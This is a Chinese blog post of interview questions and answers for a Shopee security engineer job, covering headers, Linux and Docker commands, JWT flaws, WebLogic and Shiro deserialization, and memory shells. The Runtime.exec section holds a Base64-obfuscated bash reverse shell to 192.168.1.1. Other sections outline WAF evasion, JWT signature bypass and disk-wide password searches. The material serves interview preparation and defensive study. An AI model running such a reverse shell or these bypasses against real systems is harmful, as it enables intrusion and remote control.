2025年渗透测试面试题总结- shopee-安全工程师(题目+回答)

发布于:2025-03-21 ⋅ 阅读:(39) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 shopee-安全工程师

信息安全相关Response头详解

1. 关键安全头及防御场景

Linux与Docker核心命令速查

1. Linux高频命令

2. Docker操作命令

JWT安全机制与漏洞

1. JWT结构解析

2. 攻击手法

WebLogic反序列化漏洞全景分析

1. XMLDecoder反序列化漏洞(CVE-2017-10271)

2. 后台文件上传+权限绕过组合攻击

Java代码审计:命令执行绕过

1. Runtime.exec 限制分析

内存马攻防技术

1. 内存马注入原理

2. 检测与防御方案

Shiro反序列化漏洞绕过WAF

1. 请求分块传输

2. 动态加载技术

反序列化漏洞原理与利用链

1. Java反序列化核心流程

2. 跨语言反序列化对比

附录:命令速查表


 

 shopee-安全工程师

和信息安全相关的返回response头
Linux常见命令
docker常见命令
jwt是什么
weblogic反序列化原理(有一个xml反序列化漏洞 还有后台文件上传 还有二次urldencode 权限绕过)
java代码审计 exec命令执行的相关利用,前面拼了一段 然后调用lang.runtime.exec(“fuck"+a)
 这里可以利用吗(不行 因为根据exec的方法这里不能识别执行)
内存马相关原理
shiro反序列化漏洞利用的时候 由于waf过长被ban了 怎么解决这个问题
 (如果是waf拦截,可以尝试更换http头 如果tomcat头过长 可以在cookie写一个loader 然后shellcode 写到body里)
内存马扫描原理,如何检测内存马
java代码审计反序列化原理(输入的恶意类被识别 解析了)
ysoserial原理 commoncollections利用链的原理
  (ccl最后invoke反射加载输入的方法cc2 cc3等等大同小异)

linux全盘查找文件 --[find /-name payload]
docker run 的常见命令(docker run -it centos -p --name -d)
java反序列化 php反序列化 python反序列化的区别和相同点
linux全盘搜索含有某个字符的文件/linxu 全盘搜索叫某个名字的文件
(grep -rl 'abc'/)(find -name /fucku)

信息安全相关Response头详解

1. 关键安全头及防御场景
Header名称 作用场景 防御示例值
Content-Security-Policy 防止XSS攻击 default-src 'self'; script-src 'nonce-xxx'
Strict-Transport-Security 强制HTTPS通信 max-age=31536000; includeSubDomains
X-Content-Type-Options 阻止MIME类型嗅探 nosniff
Referrer-Policy 控制Referer泄露 strict-origin-when-cross-origin
X-Frame-Options 防止点击劫持 DENYSAMEORIGIN

Linux与Docker核心命令速查

1. Linux高频命令
  • 文件搜索bash
    # 按名称全盘搜索 find / -name "*.jsp" -type f 2>/dev/null # 按内容搜索 grep -r --include=*.txt "password" /etc 
  • 权限管理bash
    chmod 600 /path/to/secret.key # 仅属主读写 chown www-data:www-data /var/www 
2. Docker操作命令
  • 容器启停bash
    docker run -d -p 8080:80 --name webapp nginx:alpine # 后台运行映射端口 docker exec -it webapp /bin/sh # 进入容器Shell 
  • 镜像管理bash
    docker build -t myapp:v1 . # 构建镜像 docker image prune -a # 清理无用镜像 

JWT安全机制与漏洞

1. JWT结构解析
  • Header:算法声明(如HS256none
  • Payload:携带业务数据(如用户ID、过期时间)
  • Signature:签名验证(依赖密钥)
2. 攻击手法
  • 密钥爆破:弱密钥导致签名伪造(使用hashcat爆破);
  • 算法篡改:修改Header为alg:none绕过签名验证;
  • 信息泄露:解码Payload获取敏感数据(如jwt.io 在线解码)。

WebLogic反序列化漏洞全景分析

1. XMLDecoder反序列化漏洞(CVE-2017-10271)
  • 触发点:未过滤的XML输入传入XMLDecoder解析;
  • 利用链:构造<object class="java.lang.ProcessBuilder"> 执行系统命令;
  • 绕过技巧:使用二次URL编码绕过WAF检测。
2. 后台文件上传+权限绕过组合攻击
  • 路径穿越:上传路径包含../跳转至Web目录;
  • 权限配置错误:未鉴权的管理接口直接部署WAR包。

Java代码审计:命令执行绕过

1. Runtime.exec 限制分析
  • 参数分隔问题exec("fuck" + a)a包含空格需拆分参数数组;
  • 绕过方法java
    // 使用Base64编码绕过字符串检测 String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"; Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd}); 

内存马攻防技术

1. 内存马注入原理
  • Servlet型:动态注册恶意Servlet处理请求;
  • Filter型:插入Filter链截获所有请求;
  • Agent型:通过Java Agent修改字节码。
2. 检测与防御方案
  • 行为监控:检测异常类加载(如javax.servlet.http.HttpServlet 动态注册);
  • 流量特征:内存马请求无对应文件路径(如/favicon.ico?cmd=id );
  • 工具支持:使用ArthasMemShellScanner扫描JVM内存。

Shiro反序列化漏洞绕过WAF

1. 请求分块传输
  • 分块编码:将Payload拆分为多个块绕过长度检测;
  • Header混淆:添加冗余Header(如X-Forwarded-For)干扰WAF解析。
2. 动态加载技术
  • Cookie加载器http
    Cookie: rememberMe=Base64Loader; POST /login Body: [Shellcode字节流] 
  • ClassLoader隔离:利用自定义ClassLoader加载加密的恶意类。

反序列化漏洞原理与利用链

1. Java反序列化核心流程
  • 触发点ObjectInputStream.readObject() 反序列化未过滤的输入;
  • 利用链
    • CC链InvokerTransformer.transform() 反射调用危险方法;
    • Fastjson链:利用TemplatesImpl加载字节码。
2. 跨语言反序列化对比
语言 触发方法 典型漏洞链
Java readObject() CommonsCollections、Fastjson
PHP __wakeup() Phar反序列化、POP链
Python __reduce__() Pickle模块、YAML解析

附录:命令速查表

  1. Linux全盘搜索bash
    sh# 按名称搜索 find / -name "*.jsp" 2>/dev/null # 按内容搜索 grep -rnw '/' -e 'password' 
  2. Docker命令规范bash
    docker run -d --name myapp -p 8080:80 -v /data:/app/data image:tag